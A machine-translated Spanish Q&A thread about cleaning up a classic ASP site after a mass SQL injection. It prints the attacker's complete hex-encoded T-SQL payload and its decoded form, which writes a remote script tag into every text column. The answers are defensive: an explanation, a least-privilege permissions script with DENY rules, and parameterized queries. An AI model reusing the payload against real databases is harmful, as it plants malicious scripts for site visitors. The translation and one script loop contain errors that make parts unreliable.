¿Puede alguien explicarme este ataque de inyección SQL?

Question

Quería publicar esto aquí, ya que está relacionado con la codificación y era algo que tenía que limpiar esta semana en uno de los sitios ASP (clásicos) de mi empresa.

Nos golpeamos con el ataque de inyección SQL que se ejecutó hace unos días, pero me estoy rascando la cabeza ¿QUÉ exactamente el 'daño' fue para el servidor SQL (a través de estas consultas SQL).

Para ser sincero, pensé que era muy ingenioso la forma en que esto se llevó a cabo, y es culpa de mis empresas por tener un sitio viejo de 10 años con poca o ninguna entrada desinfectada.

El ataque:

122 + declarar +% 40s + varchar% 284 000% 29 + set +% 40% 3Dcast% 280x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e333020616e 6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f6c696c75706f7068696c75706f702e636f6d2f736c2e706870223e3c2f7363726970743e3c212d2d27272b525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d2929207768657265204c45465428525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d29292c3137293c3e2727223e3c2f7469746c653e3c7363726970742727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72 + como + varchar% 284 000% 29% 29 + exec% 28% 40% 29-

Lo que decodifica a:(lo que yo quiero entender)

set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=''"></title><script src="http://lilXXXXXXXop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor 

Hemos recuperado una copia de seguridad (inyección previa) y fuimos a través de la aplicación completa y desinfectadas todas las declaraciones de entrada. Nuestro servidor tiene cortafuegos, por lo que no hay acceso directo a SQL, sin embargo, quiero saber qué más podría sobrar, y tengo que admitir que la consulta SQL está por encima de mi cabeza.

¿Alguien puede probarlo y explicar el ataque SQL para mí?

DISCULPAS Me ha actualizado la & volcado completo de SQL

Answer 1

Sólo formatearlo para facilitar la lectura aclarará mucho:

set ansi_warnings off 

DECLARE @T VARCHAR(255), @C VARCHAR(255) 

DECLARE Table_Cursor CURSOR FOR 
    select c.TABLE_NAME, c.COLUMN_NAME 
     from INFORMATION_SCHEMA.columns c, 
      INFORMATION_SCHEMA.tables t 
    where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') 
     and c.CHARACTER_MAXIMUM_LENGTH > 30 
     and t.table_name = c.table_name 
     and t.table_type = 'BASE TABLE' 

OPEN Table_Cursor 

FETCH NEXT FROM Table_Cursor INTO @T, @C 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
    EXEC ('UPDATE [' + @T + '] 
       SET [' + @C + '] = 
        ''"></title>'' + 
        ''<script src="http://lilXXXXXXXop.com/sl.php"></script>'' + 
        ''<!--'' + 
        RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])) 
      WHERE LEFT(RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])), 17) 
        <> ''"></title><script'' 
      ' 
     ) 

    FETCH NEXT FROM Table_Cursor INTO @T,@C 
END 

CLOSE Table_Cursor 

DEALLOCATE Table_Cursor 

Pasa a través de todas las columnas de texto de cada mesa e inserta algo de HTML en él — HTML que contiene un puntero a JavaScript generado externamente.

Answer 2

Se bucle a través de todas las columnas de todas las tablas y la actualización de su valor mediante la adición de una etiqueta <script> cuyos puntos de origen en un archivo JS malicioso.

La cosa importante es

DECLARE Table_Cursor CURSOR FOR 
select c.TABLE_NAME,c.COLUMN_NAME from 
INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t 
where c.DATA_TYPE in 

supongo algo se omite aquí y la declaración probablemente terminó con algo como ('varchar', 'carbón', 'texto') o algo similar, por lo que solo está tratando de actualizar columnas que contienen texto.Esperan que una de las columnas contenga texto que ingresa a su sitio web, por lo que luego de agregar su referencia JS, se incluirá en el origen de varias páginas.

Para arreglar esto, debe hacer algo similar: recorra todas las columnas que contienen texto y reemplace el script inyectado con una cadena vacía. Google será tu amigo aquí, pero aquí hay un enlace bastante atractivo que debería ser útil para configurar un script para hacer eso.

http://blogs.lessthandot.com/index.php/DataMgmt/DataDesign/the-ten-most-asked-sql-server-questions--1#2

Answer 3

Creo que es tratar de insertar cadenas codificadas a todas las columnas de texto en su base de datos. Marque esta ref: http://blog.strictly-software.com/2009/10/two-stage-sql-injection-attack.html

creo que sirve en cierto sentido

Answer 4

Considere la posibilidad de instalar URLScan 3.1 para proteger rápidamente su aplicación de los intentos de inyección de sql, así como también a través de su aplicación para desinfectar correctamente sus declaraciones sql.

Este tipo de ataque de inyección sql también suele funcionar porque el usuario de la base de datos tiene permisos que son demasiado flojos, p. Derechos de DBO. Intente conectarse a su base de datos desde su aplicación usando un usuario de base de datos con solo los derechos necesarios para ejecutar su aplicación. Puede crear un usuario de base de datos, asignarlo a su base de datos con derechos públicos únicamente que ejecutar un script como el siguiente para aplicar los derechos individuales necesarios a cada objeto que necesite.

DECLARE @LOGIN varchar(255) 
DECLARE @DB varchar(255) 

SELECT @LOGIN = 'yourdbuser' 
SELECT @DB = 'yourdb' 

/* set default database */ 
EXEC sp_defaultdb @LOGIN, @DB 

/* drop system admin role */ 
EXEC sp_dropsrvrolemember @LOGIN, 'sysadmin' 

/* drop database owner role */ 
EXEC sp_droprolemember 'db_owner', @LOGIN 

/* grant execute on all non system stored procedures and scalar functions */ 
DECLARE @SP varchar(255) 
DECLARE Proc_Cursor CURSOR FOR 
SELECT name FROM sysobjects 
WHERE (type='P' or type='FN') 
AND category <> 2 -- system 
OPEN Proc_Cursor 
FETCH NEXT FROM Proc_Cursor INTO @SP 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
EXEC ('GRANT EXECUTE ON ['+@SP+'] TO ['+@LOGIN+']') 
FETCH NEXT FROM Proc_Cursor INTO @SP 
END 
CLOSE Proc_Cursor 
DEALLOCATE Proc_Cursor 

/* grant select on table functions */ 
DECLARE @TF varchar(255) 
DECLARE Tf_Cursor CURSOR FOR 
SELECT name FROM sysobjects 
WHERE (type='TF') 
AND category <> 2 -- system 
OPEN Tf_Cursor 
FETCH NEXT FROM Tf_Cursor INTO @TF 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
EXEC ('GRANT SELECT ON ['+@TF+'] TO ['+@LOGIN+']') 
FETCH NEXT FROM Tf_Cursor INTO @SP 
END 
CLOSE Tf_Cursor 
DEALLOCATE Tf_Cursor 

/* grant select/update/insert/delete on all user defined tables */ 
DECLARE @T varchar(255) 
DECLARE Table_Cursor CURSOR FOR 
SELECT name FROM sysobjects 
WHERE (type='U' or type='V') -- user defined tables and views 
OPEN Table_Cursor 
FETCH NEXT FROM Table_Cursor INTO @T 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
EXEC ('GRANT SELECT, UPDATE, INSERT, DELETE ON ['+@T+'] TO ['+@LOGIN+']') 
FETCH NEXT FROM Table_Cursor INTO @T 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor 

/* deny access to system tables */ 
DENY SELECT ON syscolumns TO yourdbuser 
DENY SELECT ON sysobjects TO yourdbuser 

DENY VIEW DEFINITION TO yourdbuser 

DENY SELECT ON sys.databases TO yourdbuser 
DENY SELECT ON sys.columns TO yourdbuser 
DENY SELECT ON sys.objects TO yourdbuser 
DENY SELECT ON sys.sql_logins TO yourdbuser 
DENY SELECT ON sys.all_columns TO yourdbuser 
DENY SELECT ON sys.all_objects TO yourdbuser 
DENY SELECT ON sys.all_parameters TO yourdbuser 
DENY SELECT ON sys.all_views TO yourdbuser 

Obviamente, pruebe esto en su aplicación específica, ya que puede tener procedimientos que requieren la capacidad de seleccionar de estas tablas de sistema.

Answer 5

Mira cómo cambiar sus consultas de esta manera;

Dim oConn, oRS, SQL 
'Query open to attack 
SQL = "SELECT * FROM [Table] WHERE [id] = " & Request.QueryString("id") 

Set oConn = Server.CreateObject("ADODB.Connection") 
Call oConn.Open(conn_string_from_inc) 

Set oRS = oConn.Execute(SQL)  

Call oConn.Close() 
Set oConn = Nothing 

Para algo como esto;

Dim oCmd, oRS, SQL 
SQL = "SELECT * FROM [Table] WHERE [id] = ?" 

Set oCmd = Server.CreateObject("ADODB.Command") 
With oCmd 
    .ActiveConnection = conn_string_from_inc 
    .CommandType = adCmdText 
    .CommandText = SQL 
    Call .Parameters.Append(.CreateParameter("@id", adInteger, adParamInput, 4)) 
    .Parameters("@id").Value = Request.QueryString("id") 
    Set oRS = .Execute() 
End With 
Set oCmd = Nothing 

Esto es solo un ejemplo crudo de la lucha contra la inyección de SQL sin recurrir a la entrada de desinfección. Todavía me acercaría a esto de manera diferente.